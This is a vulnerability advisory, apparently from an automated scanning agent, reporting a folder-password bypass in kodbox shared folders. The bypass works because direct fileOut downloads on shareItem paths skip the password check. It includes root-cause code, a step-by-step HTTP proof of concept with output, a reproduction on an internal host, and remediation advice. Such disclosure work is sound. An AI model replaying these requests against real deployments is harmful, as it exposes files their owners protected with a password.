Post-Auth Collaborative Share Folder Password Bypass via Direct shareItem → fileOut Access

Vulnerability ID: VPLUS-2026-17519
Product: kodbox (https://github.com/kalcaddle/kodbox)
Severity: High
Vulnerability Type: V19 – Business Logic Bypass
Authentication: Post-Auth (authenticated collaborator, no folder password required)
Confidence: 98%
Status: Confirmed
CVSS: 8.0
CVE:
Discovery Time: 2026-03-09 00:53:31

Affected Component / Endpoints

  • File: /workspace/source-code/app/controller/explorer/auth.class.php

  • Function: can (around line 303)

  • Key logic:

    • Handling of KOD_SHARE_ITEM paths in can()

    • Delegation to $this->checkShare(...)

    • Skipping of explorer.listPassword->authCheck(...) at lines 315–318 for share items

  • Relevant HTTP endpoints:

    • Folder listing (protected by password on shared folder root):

      • GET /?explorer/list/path&path={shareItem:<shareID>}/<folderSourceID>/&accessToken=<viewer_token>

    • Direct file download (not protected by folder password for share items):

      • GET /?explorer/index/fileOut&path={shareItem:<shareID>}/<fileSourceID>&accessToken=<viewer_token>

Technical Description / Root Cause

kodbox supports internal collaborative shares using {shareItem:<shareID>} paths. A folder owner can set a folder password (folderPassword) so that collaborators must enter this password before they can view the folder contents. The intended security model is:

  • Without correct folder password:

    • Collaborator should not see folder contents (no listing, no file reads).

  • After entering the correct folder password:

    • Normal access to listing and file content is allowed.

However, the current implementation enforces the folder password only on listing operations (e.g., explorer/list/path) and fails to enforce it on direct file reads via explorer/index/fileOut when accessing shared items.

Root cause in app/controller/explorer/auth.class.php::can():

  1. When a path is a share item (KOD_SHARE_ITEM), can() does:

    <PHP>
     
    if ($pathType == KOD_SHARE_ITEM) {
        return $this->checkShare(...);
    }

    and returns immediately.

  2. As a result, the code never reaches the subsequent logic around lines 315–318, where folder password and safe-box checks are performed:

    <PHP>
     
    // Pseudocode: for non-share paths
    $this->load('explorer.listPassword')->authCheck(...);
    $this->load('explorer.listSafe')->authCheck(...);
  3. The effect:

    • For normal paths (e.g., {source:<id>}/...), both listing and file access must pass explorer.listPassword->authCheck().

    • For {shareItem:<shareID>}/<...> paths, password checks are only enforced for listing flows that explicitly invoke explorer.listPassword, such as explorer/list/path.

    • Direct file access via explorer/index/fileOut on a {shareItem:...} path never triggers folder password checks, because can() returns early for KOD_SHARE_ITEM and does not cascade into the folder-password logic.

Consequently, an authenticated collaborator who has been granted share access but has not provided the folder password is blocked on folder listing, yet can still download specific files from that folder if they know the sourceID of those files.

Attack Scenario / Exploit Steps

Roles:

  • Admin / Owner: has a folder in their personal space and shares it internally with a collaborator.

  • Viewer / Collaborator: low-privilege internal user with share access but no knowledge of the folder password.

Steps (as demonstrated by the PoC):

  1. Admin logs in and creates a folder and a secret file:

    • Folder: {source:5}/v19fp<timestamp>_folder/

    • File: secret.txt with content V19_BYPASS_v19fp<timestamp>

  2. Admin resolves sourceIDs:

    • Calls:

      <HTTP>
       
      GET /?explorer/list/path&path={source:5}/&accessToken=<ADMIN_TOKEN>

      to find FOLDER_SOURCE_ID of the new folder.

    • Calls:

      <HTTP>
       
      GET /?explorer/list/path&path={source:<FOLDER_SOURCE_ID>}/&accessToken=<ADMIN_TOKEN>

      to get FILE_SOURCE_ID for secret.txt.

  3. Admin sets a folder password on the folder:

    • Uses explorer/index/setMeta:

      <HTTP>
       
      GET /?explorer/index/setMeta
          &path={source:<FOLDER_SOURCE_ID>}/
          &data={"folderPassword":"Stage2Pass!2026",
                 "folderPasswordDesc":"v19 shareItem fileOut bypass ..."}
          &accessToken=<ADMIN_TOKEN>
    • This annotates the folder with metadata:

      <JSON>
       
      "metaInfo": {
        "folderPassword": " *** ",
        "folderPasswordDesc": "...",
        "folderPasswordUser": "1"
      }
  4. Admin shares the folder internally to a specific viewer:

    • Builds an authTo payload (e.g., authID=3 "viewer" role) and calls:

      <HTTP>
       
      GET /?explorer/userShare/add
          &isLink=0
          &isShareTo=1
          &title=<FOLDER_NAME>
          &timeTo=0
          &options={}
          &authTo=[{"targetType":"1","targetID":"<VIEWER_ID>","authID":"3"}]
          &path={source:<FOLDER_SOURCE_ID>}/
          &accessToken=<ADMIN_TOKEN>
    • Receives shareID (e.g., "20"). The shared path root becomes:

      <TEXT>
       
      {shareItem:20}/<FOLDER_SOURCE_ID>/
  5. Viewer logs in with low privileges:

    • Uses:

      <HTTP>
       
      GET /?user/index/loginSubmit&name=<VIEWER_USER>&password=<VIEWER_PASS>
    • Gets VIEWER_TOKEN.

  6. Expected behavior (folder listing is blocked by folder password):

    • Viewer calls:

      <HTTP>
       
      GET /?explorer/list/path
          &path={shareItem:<shareID>}/<FOLDER_SOURCE_ID>/
          &accessToken=<VIEWER_TOKEN>
    • Response:

      • folderList and fileList are empty.

      • current.metaInfo.folderPassword shows " *** ".

      • folderTips / pathDesc indicate:

        <TEXT>
         
        "文件夹需要密码访问,请输入密码后继续."
      • Indicates that folder password is required to see folder contents.

  7. Actual behavior (direct fileOut bypasses folder password):

    • Viewer, without ever supplying the folder password, directly calls:

      <HTTP>
       
      GET /?explorer/index/fileOut
          &path={shareItem:<shareID>}/<FILE_SOURCE_ID>
          &accessToken=<VIEWER_TOKEN>
    • Response body is the full content of the secret file:

      <TEXT>
       
      V19_BYPASS_v19fp<timestamp>
    • The PoC output shows:

      <TEXT>
       
      [+] blocked_list_response: ... "folderPasswordNeed": {...}
      [+] direct_fileout_body=V19_BYPASS_v19fp1772988743
      [+] bypass_success=yes
    • This proves the folder password is only enforced on listing and not on direct file download via fileOut for shareItem paths.

  8. Agent confirmation:

    • On another target, an existing share with folder password set shows:

      • Listing at {shareItem:1}/45/ blocked (no file list, folderPassword present).

      • Direct file read at {shareItem:1}/46 returns the same secret content as the admin sees at {source:46}/.

    • Thus, shareItemfileOut is a stable, reproducible bypass of folder password protection.

Impact

  • Bypass of intended folder password protection for shared collaborative folders:

    • Folder password is supposed to be an additional security gate on top of share authorization, yet:

      • Collaborators can read files inside the protected folder without knowing or entering the folder password.

  • Sensitive data exposure:

    • Any document or file stored under a password-protected shared folder can be directly downloaded by a user who:

      • Has been granted share access, and

      • Knows or can discover the sourceID of a file (via previous access, logs, API responses, or inference).

  • Broken security guarantees:

    • The UI and API indicate that folder password is required (“文件夹需要密码访问,请输入密码后继续.”), but in practice, it only protects the folder listing view.

    • This mismatch can lead admins and users to place overly sensitive data under folder-password protection, incorrectly believing it is fully guarded.

  • Broader surface for similar bypasses:

    • Because folder password checks are not centralized and are only applied on specific list endpoints, other read operations (editor/fileGet, zipDownload, etc.) may also bypass this protection.

Duplicate Check

A duplicate search using:

GET /vulns?exclude_vuln_id=VPLUS-2026-17519

found no pre-existing vulnerability with the same file path (app/controller/explorer/auth.class.php), attack chain, and root cause involving shareItemfileOut bypass of folderPassword.

The agent reproduced the issue on http://192.168.200.36:80:

  • Verified that:

    • Listing {shareItem:1}/45/:

      • Shows current.metaInfo.folderPassword = " *** ",

      • hasFile = 1, but folderList/fileList are empty,

      • folderTips indicates a folder password is required.

  • Then confirmed:

    • {shareItem:1}/46 via explorer/index/fileOut for the same viewer returns:

      • TOP-SECRET-V14-1772953438, identical to the admin’s view at {source:46}/.

This confirms that the folder password check is not enforced for direct file read operations on share items, and thus the vulnerability is valid and not a duplicate.

Remediation Recommendations

  1. Apply folder password and safe-box checks to KOD_SHARE_ITEM paths:

    • In auth.class.php::can():

      • Do not return immediately after $this->checkShare(...) for KOD_SHARE_ITEM.

      • After resolving the underlying sourceInfo for the share item, run:

        • explorer.listPassword->authCheck(...) and

        • explorer.listSafe->authCheck(...)

      • This ensures that share items respect the same folder-password and safe-box policies as their underlying paths.

  2. Centralize folder password enforcement for all read operations:

    • Move folder password checks into a unified pre-read guard that runs before:

      • explorer/index/fileOut

      • explorer/editor/fileGet

      • explorer/index/zipDownload

      • Any other endpoints that return file contents or archives.

    • Do not limit folder password logic to listing endpoints (explorer/list/path).

  3. Add regression tests specifically for {shareItem:*} direct file access:

    • Test cases should ensure that when:

      • The root folder path {shareItem:<id>}/<FolderSourceID>/ is blocked by folder password requirements,

    • Then:

      • Any direct access to child files under that folder (e.g., {shareItem:<id>}/<FileSourceID>) is also blocked unless the correct folder password has been provided and recorded in the session/context.

  4. Clarify UX and security model:

    • Ensure that the UI and API messages for folder passwords reflect actual behavior:

      • If password is required for any access (listing and file reads), enforce it consistently.

      • If an exception is intentionally made (e.g., for certain roles), that should be explicit and auditable.